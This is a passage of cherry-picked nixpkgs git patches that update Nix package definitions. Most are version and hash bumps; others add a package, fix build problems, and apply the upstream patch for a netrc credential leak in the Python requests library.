+    substituteInPlace tests/common/CMakeLists.txt \
+      --replace-fail 'add_dependencies(''${TARGET} GMock)' '# add_dependencies(''${TARGET} GMock)'
   '';
 
   strictDeps = true;
@@ -89,6 +82,7 @@ stdenv.mkDerivation (finalAttrs: {
     boost
     cmake-extras
     glog
+    libapparmor
     lomiri-api
     qtbase
     qtdeclarative
@@ -104,10 +98,9 @@ stdenv.mkDerivation (finalAttrs: {
   checkInputs = [ gtest ];
 
   cmakeFlags = [
+    (lib.cmakeBool "ENABLE_QT6" (lib.strings.versionAtLeast qtbase.version "6"))
     (lib.cmakeBool "ENABLE_DOC" withDocumentation)
-    # Deprecation warnings on Qt 5.15
-    # https://gitlab.com/ubports/development/core/lomiri-download-manager/-/issues/1
-    (lib.cmakeBool "ENABLE_WERROR" false)
+    (lib.cmakeBool "ENABLE_WERROR" true)
   ];
 
   makeTargets = [ "all" ] ++ lib.optionals withDocumentation [ "doc" ];
@@ -130,7 +123,9 @@ stdenv.mkDerivation (finalAttrs: {
   meta = {
     description = "Performs uploads and downloads from a centralized location";
     homepage = "https://gitlab.com/ubports/development/core/lomiri-download-manager";
-    changelog = "https://gitlab.com/ubports/development/core/lomiri-download-manager/-/blob/${finalAttrs.version}/ChangeLog";
+    changelog = "https://gitlab.com/ubports/development/core/lomiri-download-manager/-/blob/${
+      if (!builtins.isNull finalAttrs.src.tag) then finalAttrs.src.tag else finalAttrs.src.rev
+    }/ChangeLog";
     license = lib.licenses.lgpl3Only;
     teams = [ lib.teams.lomiri ];
     platforms = lib.platforms.linux;

From e4f0aa30b7167a719d7aebc639331c513468b399 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Fri, 23 May 2025 01:29:16 +0200
Subject: [PATCH 0565/4511] gale: 1.5.12 -> 1.7.1

(cherry picked from commit 2ec67b9e8123ffa09446136bc3ea322cb9af05dc)
---
 pkgs/by-name/ga/gale/package.nix | 24 ++++++------------------
 1 file changed, 6 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/ga/gale/package.nix b/pkgs/by-name/ga/gale/package.nix
index fed9a69180a8..8793164a0ce7 100644
--- a/pkgs/by-name/ga/gale/package.nix
+++ b/pkgs/by-name/ga/gale/package.nix
@@ -1,6 +1,5 @@
 {
   lib,
-  stdenv,
   rustPlatform,
   fetchFromGitHub,
 
@@ -19,15 +18,15 @@
   webkitgtk_4_1,
 }:
 
-stdenv.mkDerivation (finalAttrs: {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "gale";
-  version = "1.5.12";
+  version = "1.7.1";
 
   src = fetchFromGitHub {
     owner = "Kesomannen";
     repo = "gale";
     tag = finalAttrs.version;
-    hash = "sha256-5iJ04/q/emPwG0ILurFx2gNlXkZrfP2D6xv25AIlhfc=";
+    hash = "sha256-OaUpyG+XdP7AIA55enPf6/viBGBBQVuNi2QxgD5EVNc=";
   };
 
   postPatch = ''
@@ -35,33 +34,22 @@ stdenv.mkDerivation (finalAttrs: {
   '';
 
   npmDeps = fetchNpmDeps {
-    name = "${finalAttrs.pname}-${finalAttrs.version}-npm-deps";
+    name = "gale-${finalAttrs.version}-npm-deps";
     inherit (finalAttrs) src;
     hash = "sha256-yaPUNtlb2vMwK42u+3/rViGx6YzhYxRDJylPu++tbNs=";
   };
 
-  cargoDeps = rustPlatform.fetchCargoVendor {
-    inherit (finalAttrs)
-      pname
-      version
-      src
-      cargoRoot
-      ;
-    hash = "sha256-GGH5kQlnYIlKbTAKbF275mH4J9BcbcBHSdzP7RgfDwk=";
-  };
-
   cargoRoot = "src-tauri";
-
   buildAndTestSubdir = finalAttrs.cargoRoot;
 
+  cargoHash = "sha256-v0/A4jUq5t61KB7NLwvsl6wR7N0UUbdVCk7nFZVTOi8=";
+
   nativeBuildInputs = [
     jq
     moreutils
     npmHooks.npmConfigHook
     nodejs
-    rustPlatform.cargoSetupHook
     cargo-tauri.hook
-    rustPlatform.cargoCheckHook
     pkg-config
     wrapGAppsHook3
   ];

From d946ce28fbe92657fdf0b4bc569c4b5f10ab0db9 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 13 Apr 2025 13:26:44 +0000
Subject: [PATCH 0566/4511] libraw: 0.21.3 -> 0.21.4

(cherry picked from commit 5d8770d7da7aaf5f9b91be5867764315b82513a2)
---
 pkgs/by-name/li/libraw/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libraw/package.nix b/pkgs/by-name/li/libraw/package.nix
index b16a69fea358..2474175583de 100644
--- a/pkgs/by-name/li/libraw/package.nix
+++ b/pkgs/by-name/li/libraw/package.nix
@@ -15,13 +15,13 @@
 
 stdenv.mkDerivation rec {
   pname = "libraw";
-  version = "0.21.3";
+  version = "0.21.4";
 
   src = fetchFromGitHub {
     owner = "LibRaw";
     repo = "LibRaw";
     rev = version;
-    hash = "sha256-QFyRQ0V7din/rnkRvEWf521kSzN7HwJ3kZiQ43PAmVI=";
+    hash = "sha256-JAGIM7A9RbK22F8KczRcb+29t4fDDXzoCA3a4s/z6Q8=";
   };
 
   outputs = [

From 6c2a0dbca4447767f1e00f0643eb4a05f9251e10 Mon Sep 17 00:00:00 2001
From: h0nIg <h0nIg@users.noreply.github.com>
Date: Mon, 2 Jun 2025 21:17:59 +0200
Subject: [PATCH 0567/4511] google-cloud-sdk: 2nd fix for pyopenssl

(cherry picked from commit fee9749b90b5bbe51760d9515ff326ef39e1ef39)
---
 pkgs/tools/admin/google-cloud-sdk/default.nix | 8 +++++++-
 1 file changed, 7 insertions(+), 1 deletion(-)

diff --git a/pkgs/tools/admin/google-cloud-sdk/default.nix b/pkgs/tools/admin/google-cloud-sdk/default.nix
index 356353a99d88..04557b36753b 100644
--- a/pkgs/tools/admin/google-cloud-sdk/default.nix
+++ b/pkgs/tools/admin/google-cloud-sdk/default.nix
@@ -25,12 +25,18 @@ let
   pythonCustom = python3.override {
     self = pythonCustom;
     packageOverrides = _: super: {
+      # include a compatible pyopenssl version: https://github.com/NixOS/nixpkgs/issues/379291
+      # remove ASAP: https://github.com/googleapis/google-api-python-client/issues/2554
       pyopenssl = super.pyopenssl.overridePythonAttrs (old: rec {
         version = "24.2.1";
         src = old.src.override {
           tag = version;
-          hash = "sha256-otK7Y7Kb/l3QOErhAcuDHB/CKG9l1vH2BTnOieAWNc0=";
+          hash = "sha256-/TQnDWdycN4hQ7ZGvBhMJEZVafmL+0wy9eJ8hC6rfio=";
         };
+        disabledTests = old.disabledTests ++ [
+          "test_shutdown_closed"
+          "test_closed"
+        ];
       });
     };
   };

From f3733cf575b6f879add33d541ab8bdb6b992e235 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Wed, 4 Jun 2025 02:41:19 +0000
Subject: [PATCH 0568/4511] yanic: 1.7.1 -> 1.7.2

(cherry picked from commit 4aa2ffe45f432e88a5d39e494f9ba7e74f5cb677)
---
 pkgs/by-name/ya/yanic/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ya/yanic/package.nix b/pkgs/by-name/ya/yanic/package.nix
index ba627d664adc..b3897650a14b 100644
--- a/pkgs/by-name/ya/yanic/package.nix
+++ b/pkgs/by-name/ya/yanic/package.nix
@@ -7,13 +7,13 @@
 
 buildGoModule rec {
   pname = "yanic";
-  version = "1.7.1";
+  version = "1.7.2";
 
   src = fetchFromGitHub {
     owner = "FreifunkBremen";
     repo = "yanic";
     rev = "v${version}";
-    hash = "sha256-uqmojpwGFs6inhmKIztYlGFvUS8AjQIYTHSkZcGyEUo=";
+    hash = "sha256-tKFveknZitkVFaLTZzT01SJZq1IPQfXQa7UJewjXjwU=";
   };
 
   vendorHash = "sha256-UYrQwOyWlKxDH5hHKAZCxQbO+eA6JsPuG0SbkWMF/HQ=";

From b453a5ed4dbf1790c3e2e40f2a4b1c21c6fe6fb5 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Wed, 4 Jun 2025 01:36:12 +0200
Subject: [PATCH 0569/4511] brave: 1.79.118 -> 1.79.119

(cherry picked from commit 71bac83c300c75a256ae1eb72fb71dd3ec0aa36a)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index ce20dd1c2e0a..dc6d4a182a90 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.79.118";
+  version = "1.79.119";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-OI4B6Uu9TtbV58Eq3854cyC57JZ+j7tBZoDk+zHeeWM=";
+      hash = "sha256-tz3pCToOqsO6SAu5NeUSmO0aRe31qw0sK2OxtkrYGlo=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-4lWsD9OfbgOaallAEc8x3zLSFoBAg4UCjBCiDc7ShDs=";
+      hash = "sha256-8uX8byw/rp+yj6Y2qBemEHGwt4CQepWjVD8F9KuJZbI=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-5yOcEerPleZnRynxMAzeiPPmZAfU6O+wqsBfR+NOvUc=";
+      hash = "sha256-ynLMWSWywJbmURBH60Nf7TJFERPNNzcI/wdW8AFk7ZA=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-3q0vV9cAk8TEWluGYyH3FSw4zKHxl2Dn3eCg2pSs3zU=";
+      hash = "sha256-ERhKzzabN3NiJQMaTLxdtHCbPMDbPifG56aBmAgke5o=";
     };
   };
 

From 2b1087e3d027db6a234aa13ebccf604810d52aa3 Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Wed, 4 Jun 2025 15:35:24 +0300
Subject: [PATCH 0570/4511] pipewire: 1.4.4 -> 1.4.5

Diff: https://gitlab.freedesktop.org/pipewire/pipewire/-/compare/1.4.4...1.4.5

Changelog: https://gitlab.freedesktop.org/pipewire/pipewire/-/releases/1.4.5
(cherry picked from commit eedbb0378b2ee246f6a88959cace910e9a813641)
---
 pkgs/development/libraries/pipewire/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/libraries/pipewire/default.nix b/pkgs/development/libraries/pipewire/default.nix
index 7b582819b565..b4be67990845 100644
--- a/pkgs/development/libraries/pipewire/default.nix
+++ b/pkgs/development/libraries/pipewire/default.nix
@@ -82,7 +82,7 @@ in
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "pipewire";
-  version = "1.4.4";
+  version = "1.4.5";
 
   outputs = [
     "out"
@@ -98,7 +98,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "pipewire";
     repo = "pipewire";
     rev = finalAttrs.version;
-    sha256 = "sha256-ullr00XbYrjwAAkQ6tWRayoS3aFuQsbDpSv06pgBDSA=";
+    sha256 = "sha256-5fBpthIGsvMYrQyRb6n1uiNtJ3pl2ejAFr1e/UUga8w=";
   };
 
   patches = [

From 6dde4d0fc003ee04dad7c2b69135ace386a749bd Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Tue, 3 Jun 2025 21:22:05 +0200
Subject: [PATCH 0571/4511] pnpm_10: 10.11.0 -> 10.11.1

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 8f17b9e5af85759e74f80f59b8e7f91e5a59f928)
---
 pkgs/development/tools/pnpm/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/tools/pnpm/default.nix b/pkgs/development/tools/pnpm/default.nix
index 01950cb9a86e..9634a8d857ef 100644
--- a/pkgs/development/tools/pnpm/default.nix
+++ b/pkgs/development/tools/pnpm/default.nix
@@ -16,8 +16,8 @@ let
       hash = "sha256-z4anrXZEBjldQoam0J1zBxFyCsxtk+nc6ax6xNxKKKc=";
     };
     "10" = {
-      version = "10.11.0";
-      hash = "sha256-pp6csHfaQZ1H0Y8d1S4gckWynKxuB2rO2+uL47Gme9c=";
+      version = "10.11.1";
+      hash = "sha256-IR6ZkBSElcn8MLflg5b37tqD2SQ+t1QH6k+GUPsWH3w=";
     };
   };
 

From 9fe4bfe5c77224b50b910568982f8d105ca797b7 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Tue, 3 Jun 2025 21:57:29 +0200
Subject: [PATCH 0572/4511] python3Packages.inwx-domrobot: init at 3.2.0

(cherry picked from commit 021f5eafd81525ce52182091d710e233c30989d8)
---
 .../python-modules/inwx-domrobot/default.nix  | 37 +++++++++++++++++++
 pkgs/top-level/python-packages.nix            |  2 +
 2 files changed, 39 insertions(+)
 create mode 100644 pkgs/development/python-modules/inwx-domrobot/default.nix

diff --git a/pkgs/development/python-modules/inwx-domrobot/default.nix b/pkgs/development/python-modules/inwx-domrobot/default.nix
new file mode 100644
index 000000000000..965a402ecd15
--- /dev/null
+++ b/pkgs/development/python-modules/inwx-domrobot/default.nix
@@ -0,0 +1,37 @@
+{
+  lib,
+  fetchFromGitHub,
+  buildPythonPackage,
+  setuptools,
+  requests,
+}:
+
+buildPythonPackage rec {
+  pname = "inwx-domrobot";
+  version = "3.2.0";
+  pyproject = true;
+
+  src = fetchFromGitHub {
+    owner = "inwx";
+    repo = "python-client";
+    tag = "v${version}";
+    hash = "sha256-Nbs3xroJD61NbpaiTdjA3VFxzXIlnqmB1d7SJDj8VN8=";
+  };
+
+  build-system = [ setuptools ];
+
+  dependencies = [ requests ];
+
+  # No tests
+  doCheck = false;
+
+  pythonImportsCheck = [ "INWX" ];
+
+  meta = {
+    description = "INWX Domrobot Python Client";
+    homepage = "https://github.com/inwx/python-client";
+    changelog = "https://github.com/inwx/python-client/releases/tag/${src.tag}";
+    license = lib.licenses.mit;
+    maintainers = [ lib.maintainers.amadejkastelic ];
+  };
+}
diff --git a/pkgs/top-level/python-packages.nix b/pkgs/top-level/python-packages.nix
index ff243b8e3553..17e5b711c8c6 100644
--- a/pkgs/top-level/python-packages.nix
+++ b/pkgs/top-level/python-packages.nix
@@ -6845,6 +6845,8 @@ self: super: with self; {
 
   invoke = callPackage ../development/python-modules/invoke { };
 
+  inwx-domrobot = callPackage ../development/python-modules/inwx-domrobot { };
+
   iocapture = callPackage ../development/python-modules/iocapture { };
 
   iocextract = callPackage ../development/python-modules/iocextract { };

From 1ac8b0d420956a66408c7afe5af595a5df4aeeb8 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Tue, 3 Jun 2025 21:58:41 +0200
Subject: [PATCH 0573/4511] python3Packages.certbot-dns-inwx: add missing
 dependency, fix typo and remove usage of with lib

(cherry picked from commit 7bf209e2fc10073bdda8abfd16405b6bdf0fa76b)
---
 .../python-modules/certbot-dns-inwx/default.nix      | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/python-modules/certbot-dns-inwx/default.nix b/pkgs/development/python-modules/certbot-dns-inwx/default.nix
index 88e0f0c58cb6..d04b7b04391f 100644
--- a/pkgs/development/python-modules/certbot-dns-inwx/default.nix
+++ b/pkgs/development/python-modules/certbot-dns-inwx/default.nix
@@ -5,6 +5,7 @@
   setuptools,
   acme,
   certbot,
+  inwx-domrobot,
 }:
 
 buildPythonPackage rec {
@@ -21,23 +22,24 @@ buildPythonPackage rec {
 
   build-system = [ setuptools ];
 
-  propagatedBuildInputs = [
+  dependencies = [
     acme
     certbot
+    inwx-domrobot
   ];
 
   # Doesn't have any tests
   doCheck = false;
 
-  pytestImportsCheck = [ "certbot_dns_inwx" ];
+  pythonImportsCheck = [ "certbot_dns_inwx" ];
 
-  meta = with lib; {
+  meta = {
     description = "INWX DNS Authenticator plugin for Certbot";
     homepage = "https://github.com/oGGy990/certbot-dns-inwx";
-    license = with licenses; [
+    license = with lib.licenses; [
       asl20
       mit
     ];
-    maintainers = with maintainers; [ onny ];
+    maintainers = with lib.maintainers; [ onny ];
   };
 }

From 7d3ebead0065ca00f23717cd6faa21f8e8a72750 Mon Sep 17 00:00:00 2001
From: Amadej Kastelic <amadejkastelic7@gmail.com>
Date: Wed, 4 Jun 2025 11:40:30 +0200
Subject: [PATCH 0574/4511] certbot-full: add certbot-dns-inwx

(cherry picked from commit 2437df377415eefcf586a2a6be4f092172b95652)
---
 pkgs/top-level/all-packages.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/top-level/all-packages.nix b/pkgs/top-level/all-packages.nix
index 8f5fe3c98a04..d50cbd1d4361 100644
--- a/pkgs/top-level/all-packages.nix
+++ b/pkgs/top-level/all-packages.nix
@@ -7943,6 +7943,7 @@ with pkgs;
     cp: with cp; [
       # FIXME unbreak certbot-dns-cloudflare
       certbot-dns-google
+      certbot-dns-inwx
       certbot-dns-ovh
       certbot-dns-rfc2136
       certbot-dns-route53

From 05ae70d4edd0389f0906c8951d4b9509c86837aa Mon Sep 17 00:00:00 2001
From: Stefan Frijters <sfrijters@gmail.com>
Date: Mon, 2 Jun 2025 20:22:32 +0200
Subject: [PATCH 0575/4511] libtheora: fix ARM build

We need to change to the GitHub source because the release tarball is missing relevant files,
c.f. https://github.com/xiph/theora/commit/b167cb4a3e3e2d3239d71f0ca2cbc25af4f2183c

Without this fix, building ffmpeg for e.g. armv7l-hf-multiplatform fails, because the configure script
hits a linker error while trying to find libtheora .

(cherry picked from commit 8ae7fe9fd3fdc54afb9c91c7bfb246707c4c1af6)
---
 pkgs/by-name/li/libtheora/package.nix | 32 +++++++++++++++++++--------
 1 file changed, 23 insertions(+), 9 deletions(-)

diff --git a/pkgs/by-name/li/libtheora/package.nix b/pkgs/by-name/li/libtheora/package.nix
index 63a7096e8c8d..74c5b0691a9a 100644
--- a/pkgs/by-name/li/libtheora/package.nix
+++ b/pkgs/by-name/li/libtheora/package.nix
@@ -1,11 +1,12 @@
 {
   lib,
   stdenv,
-  fetchurl,
+  fetchFromGitHub,
   autoreconfHook,
   libogg,
   libvorbis,
   pkg-config,
+  perl,
   testers,
   validatePkgConfig,
 }:
@@ -14,13 +15,19 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "libtheora";
   version = "1.2.0";
 
-  src = fetchurl {
-    url = "https://downloads.xiph.org/releases/theora/libtheora-${finalAttrs.version}.tar.gz";
-    hash = "sha256-J5MnM5kDtUTCipKurafQ3P0Dl7WcLzaMxpisVvUVkG4=";
+  src = fetchFromGitHub {
+    owner = "xiph";
+    repo = "theora";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-kzZh4V6wZX9MetDutuqjRenmdpy4PHaRU9MgtIwPpiU=";
   };
 
   patches = lib.optionals stdenv.hostPlatform.isMinGW [ ./mingw-remove-export.patch ];
 
+  postPatch = lib.optionalString stdenv.hostPlatform.isArmv7 ''
+    patchShebangs lib/arm/arm2gnu.pl
+  '';
+
   configureFlags = [ "--disable-examples" ];
 
   outputs = [
@@ -30,17 +37,24 @@ stdenv.mkDerivation (finalAttrs: {
   ];
   outputDoc = "devdoc";
 
-  nativeBuildInputs = [
-    autoreconfHook
-    pkg-config
-    validatePkgConfig
-  ];
+  nativeBuildInputs =
+    [
+      autoreconfHook
+      pkg-config
+      validatePkgConfig
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isArmv7 [
+      # Needed to run lib/arm/arm2gnu.pl for ARM assembly optimizations
+      perl
+    ];
 
   propagatedBuildInputs = [
     libogg
     libvorbis
   ];
 
+  strictDeps = true;
+
   passthru = {
     tests.pkg-config = testers.hasPkgConfigModules {
       package = finalAttrs.finalPackage;

From 052f494f5b037099886741c58148800127e9fb85 Mon Sep 17 00:00:00 2001
From: Defelo <mail@defelo.de>
Date: Wed, 4 Jun 2025 13:43:49 +0000
Subject: [PATCH 0576/4511] countryfetch: 0.1.9 -> 0.2.0

(cherry picked from commit f08e609a495560088e4b1d119e6633b4dc776efe)
---
 pkgs/by-name/co/countryfetch/package.nix | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/co/countryfetch/package.nix b/pkgs/by-name/co/countryfetch/package.nix
index 22c8e43964ea..007d8ca7cb14 100644
--- a/pkgs/by-name/co/countryfetch/package.nix
+++ b/pkgs/by-name/co/countryfetch/package.nix
@@ -10,20 +10,19 @@
 
 rustPlatform.buildRustPackage (finalAttrs: {
   pname = "countryfetch";
-  version = "0.1.9";
+  version = "0.2.0";
 
   src = fetchFromGitHub {
     owner = "nik-rev";
     repo = "countryfetch";
     tag = "v${finalAttrs.version}";
-    hash = "sha256-KdFgY54vXLmq6IZfJzZ1IeZ2eQuNJoCRZUV3rVuPpcY=";
+    hash = "sha256-povKd1Y/2Mi+6yJd9+RsJ4F19/wvXvBOK2Jgbs4UnP0=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-XJI9k/5hdak8p0/J/x9u6lqJu/DIbX93Wwm3LALkAAw=";
+  cargoHash = "sha256-0ZBhRheJGapPqVieXbIpoboVV4RLXan042u5SSgrYQk=";
 
   env = {
-    RUSTC_BOOTSTRAP = 1;
     OPENSSL_NO_VENDOR = true;
   };
 

From efe9610691959ab43fcf7ed46785bdeba82587c6 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 4 Jun 2025 17:08:45 +0200
Subject: [PATCH 0577/4511] python3Packages.requests: fix netrc credential leak
 vulnerability

Patches a disclosed unfixed vulnerability in the popular requests package
where improper URL parsing could be fooled to disclose any credentials
from a netrc configuration.

https://seclists.org/fulldisclosure/2025/Jun/2

Fixes: CVE-2024-47081
(cherry picked from commit 1d22f98be860df7023412ea2f7952d1be16c1080)
---
 .../requests/CVE-2024-47081.patch             | 28 +++++++++++++++++++
 .../python-modules/requests/default.nix       |  3 ++
 2 files changed, 31 insertions(+)
 create mode 100644 pkgs/development/python-modules/requests/CVE-2024-47081.patch

diff --git a/pkgs/development/python-modules/requests/CVE-2024-47081.patch b/pkgs/development/python-modules/requests/CVE-2024-47081.patch
new file mode 100644
index 000000000000..61d722b9aa97
--- /dev/null
+++ b/pkgs/development/python-modules/requests/CVE-2024-47081.patch
@@ -0,0 +1,28 @@
+From 57acb7c26d809cf864ec439b8bcd6364702022d5 Mon Sep 17 00:00:00 2001
+From: Nate Prewitt <nate.prewitt@gmail.com>
+Date: Wed, 25 Sep 2024 08:03:20 -0700
+Subject: [PATCH] Only use hostname to do netrc lookup instead of netloc
+
+---
+ src/requests/utils.py | 8 +-------
+ 1 file changed, 1 insertion(+), 7 deletions(-)
+
+diff --git a/src/requests/utils.py b/src/requests/utils.py
+index 699683e5d9..8a307ca8a0 100644
+--- a/src/requests/utils.py
++++ b/src/requests/utils.py
+@@ -236,13 +236,7 @@ def get_netrc_auth(url, raise_errors=False):
+             return
+ 
+         ri = urlparse(url)
+-
+-        # Strip port numbers from netloc. This weird `if...encode`` dance is
+-        # used for Python 3.2, which doesn't support unicode literals.
+-        splitstr = b":"
+-        if isinstance(url, str):
+-            splitstr = splitstr.decode("ascii")
+-        host = ri.netloc.split(splitstr)[0]
++        host = ri.hostname
+ 
+         try:
+             _netrc = netrc(netrc_path).authenticators(host)
diff --git a/pkgs/development/python-modules/requests/default.nix b/pkgs/development/python-modules/requests/default.nix
index cc80e5bb0de0..99187427d880 100644
--- a/pkgs/development/python-modules/requests/default.nix
+++ b/pkgs/development/python-modules/requests/default.nix
@@ -33,6 +33,9 @@ buildPythonPackage rec {
     # https://github.com/psf/requests/issues/6730
     # https://github.com/psf/requests/pull/6731
     ./ca-load-regression.patch
+
+    # https://seclists.org/fulldisclosure/2025/Jun/2
+    ./CVE-2024-47081.patch
   ];
 
   dependencies = [

From 3f762eddcd0d6618463f6d1deeda7620eee44dca Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 22:51:08 +0000
Subject: [PATCH 0578/4511] firefox-beta-unwrapped: 140.0b2 -> 140.0b3

(cherry picked from commit aac0debe621f5e6116da84a7e18f871175e64c9c)
---
 .../networking/browsers/firefox/packages/firefox-beta.nix     | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
index 8a69a594d02f..3dd7f5a0cceb 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-beta.nix
@@ -10,11 +10,11 @@
 buildMozillaMach rec {
   pname = "firefox-beta";
   binaryName = pname;
-  version = "140.0b2";
+  version = "140.0b3";
   applicationName = "Firefox Beta";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "c8010b6cdf90f52d5105971d726139460a0194ca7e84ed57184897f4f258957ff64117ef14a38a6dba4cab3074f3a92aee0eaf221ecf22218f6408636ab9c960";
+    sha512 = "282b30284e9efa3909e1c1e8b01fd3c8ce5083668a01dea53487aa00d89734889e033051de3ce9aa66d7a84f4d4ac1c6e558fa4e3efe1e51077fc0831e989129";
   };
 
   meta = {

From 00b62a26f07886bc19e494ae760c30e341199a92 Mon Sep 17 00:00:00 2001
From: FliegendeWurst <arne.keller@posteo.de>
Date: Sun, 1 Jun 2025 15:05:15 +0200
Subject: [PATCH 0579/4511] bluemail: 1.140.8-1922 -> 1.140.93

(cherry picked from commit c1c945f0efac2bd1b8272a616d2b330138cda315)
---
 pkgs/by-name/bl/bluemail/package.nix | 49 ++++++++++++++++++----------
 1 file changed, 32 insertions(+), 17 deletions(-)

diff --git a/pkgs/by-name/bl/bluemail/package.nix b/pkgs/by-name/bl/bluemail/package.nix
index 872e43f7725d..80535baaf553 100644
--- a/pkgs/by-name/bl/bluemail/package.nix
+++ b/pkgs/by-name/bl/bluemail/package.nix
@@ -2,7 +2,7 @@
   stdenv,
   lib,
   fetchurl,
-  dpkg,
+  squashfsTools,
   autoPatchelfHook,
   copyDesktopItems,
   pango,
@@ -22,14 +22,12 @@
 
 stdenv.mkDerivation rec {
   pname = "bluemail";
-  version = "1.140.8-1922";
+  version = "1.140.93";
 
-  # Taking a snapshot of the DEB release because there are no tagged version releases.
-  # For new versions, download the upstream release, extract it and check for the version string.
-  # In case there's a new version, create a snapshot of it on https://archive.org before updating it here.
+  # To update, check https://search.apps.ubuntu.com/api/v1/package/bluemail and copy the anon_download_url and version.
   src = fetchurl {
-    url = "https://web.archive.org/web/20240208120704/https://download.bluemail.me/BlueMail/deb/BlueMail.deb";
-    hash = "sha256-dnYOb3Q/9vSDssHGS2ywC/Q24Oq96/mvKF+eqd/4dVw=";
+    url = "https://api.snapcraft.io/api/v1/snaps/download/ZVlj0qw0GOFd5JgTfL8kk2Y5eIG1IpiH_178.snap";
+    hash = "sha512-xv7fn+VrtrxauejhgEMdTnmnDXb17TwanXZR6Lqfg5N40MbyDu76XQAWRB8xFU/+GdCTmjv47EaOC7SnnOw4EA==";
   };
 
   desktopItems = [
@@ -43,6 +41,7 @@ stdenv.mkDerivation rec {
       mimeTypes = [
         "x-scheme-handler/me.blueone.linux"
         "x-scheme-handler/mailto"
+        "x-scheme-handler/bluemail-notif"
       ];
       categories = [ "Office" ];
     })
@@ -52,10 +51,24 @@ stdenv.mkDerivation rec {
     autoPatchelfHook
     copyDesktopItems
     makeWrapper
-    dpkg
+    squashfsTools
     wrapGAppsHook3
   ];
 
+  unpackPhase = ''
+    runHook preUnpack
+
+    unsquashfs $src
+
+    runHook postUnpack
+  '';
+
+  sourceRoot = "squashfs-root";
+
+  postPatch = ''
+    rm -rf usr libEGL.so libGLESv2.so libvk_swiftshader.so libvulkan.so.1
+  '';
+
   buildInputs = [
     pango
     gtk3
@@ -75,12 +88,12 @@ stdenv.mkDerivation rec {
   installPhase = ''
     runHook preInstall
 
-    mkdir -p $out/bin
-    mv opt/BlueMail/* $out
-    ln -s $out/bluemail $out/bin/bluemail
+    mkdir -p $out/{bin,opt/bluemail}
+    mv * $out/opt/bluemail
+    ln -s $out/opt/bluemail/bluemail $out/bin/bluemail
 
-    mkdir -p $out/share/icons
-    mv usr/share/icons/hicolor $out/share/icons/
+    mkdir -p $out/share/icons/hicolor/1024x1024/apps
+    ln -s $out/opt/bluemail/resources/assets/icons/bluemailx-icon.png $out/share/icons/hicolor/1024x1024/apps/bluemail.png
 
     runHook postInstall
   '';
@@ -97,17 +110,19 @@ stdenv.mkDerivation rec {
   ];
 
   preFixup = ''
-    wrapProgram $out/bin/bluemail \
+    wrapProgram $out/opt/bluemail/bluemail \
       ''${makeWrapperArgs[@]} \
       ''${gappsWrapperArgs[@]}
   '';
 
   meta = with lib; {
-    description = "Free, secure, universal email app, capable of managing an unlimited number of mail accounts";
+    description = "Cross platform email and calendar app, with AI features and a modern design";
     homepage = "https://bluemail.me";
     license = licenses.unfree;
-    platforms = platforms.linux;
+    platforms = [ "x86_64-linux" ];
+    # Vendored copy of Electron.
     sourceProvenance = with sourceTypes; [ binaryNativeCode ];
-    maintainers = with maintainers; [ onny ];
+    maintainers = with maintainers; [ ];
+    mainProgram = "bluemail";
   };
 }

